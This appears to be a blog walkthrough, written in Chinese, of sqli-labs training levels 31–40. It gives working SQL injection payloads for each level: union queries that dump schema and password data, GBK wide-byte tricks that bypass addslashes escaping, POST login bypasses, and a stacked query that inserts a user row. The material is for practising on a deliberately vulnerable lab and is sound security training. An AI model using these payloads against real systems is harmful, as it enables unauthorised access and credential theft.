sqli-labs-Less-31-Less-40

  • Less-31

详细步骤查看上一篇文章Less-29
这一关闭合为") ?id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- - 也可以是 ?id=1&id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
  • Less-32

输入1'后发现'被转义了,使得单引号不起作用
回显:Hint: The Query String you input is escaped as : 1\'
查看源码后发现数据库采用了使用了gbk编码,这里采用宽字节注入,即当某字
符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其
字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
输入?id=-1%E0%27报错,闭合为单引号
MySQL server version for the right syntax to use near ''-1�\'' LIMIT 0,1' at line 1
?id=-1%E0%27 union select 1,database(),3 -- -
  • Less-33

与32题一样
宽字节注入
?id=-1%E0%27 union select 1,database(),3 -- -
  • Less-34

    这一关是POST型的注入,同样的将post传递过来的内容进行了转义处理,过滤
了单引号、反斜杠。有之前的例子我们可以看到%df可以将转义的反斜杠给吃
掉。而GET型的方式我们是以url形式提交的,因此数据会通过urlencode.
    通过宽字节注入可以绕过addslashes()的过滤,确定了单引号闭合且无其他
过滤,剩下的同 POST 最基本注入。
uname=1%bb' or 1 limit 1,1-- -&passwd=1,其中更改limit参数可实现水平越权,获得其他用户账号密码,前几题也可这样。
    但是在火狐浏览器插件中无法注入成功,打开bp后发现%被urlencode了,多了一个25,又产生一次变异,所以无法成功
uname=1%25bb'or 1 limit 1,1-- -&passwd=1&submit=Submit
后面使用联合注入即可
  • Less-35

输入1'
报错:MySQL server version for the right syntax to use near '\' LIMIT 0,1' at line 1
闭合为数字,'被转义当在后面爆列和字段的时候需要用到单引号,这时候将表名换成十六进制编码就行
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273-- -
  • Less-36

输入?id=1%bb’报错
闭合为单引号,且被转义
宽字节注入:
?id=-1%df' union select 1,group_concat(password,username),3 from users-- -
  • Less-37

本关闭合单引号,被转义使用宽字节注入
用火狐浏览器百分号被编码,bp抓包后修改
uname=1%BB%27&passwd=1&submit=Submit报错
联合注入见上
  • Less-38

这题单引号正常注入就可以
这题存在mysqli_multi_query函数,所以支持;分隔多条语句查询
?id=1';insert into users(id,username,password) values ('88','less88','hello')-- -
#向数据表插入自己的账户密码
  • Less-39

闭合为数字
正常注入
  • Less-40

输入1'报错,但是没有显示报错信息
输入1’)-- -
成功进入,闭合为')
采用联合注入

 

posted @ 2023-03-28 20:33  Bin_Go  阅读(24)  评论(0编辑  收藏  举报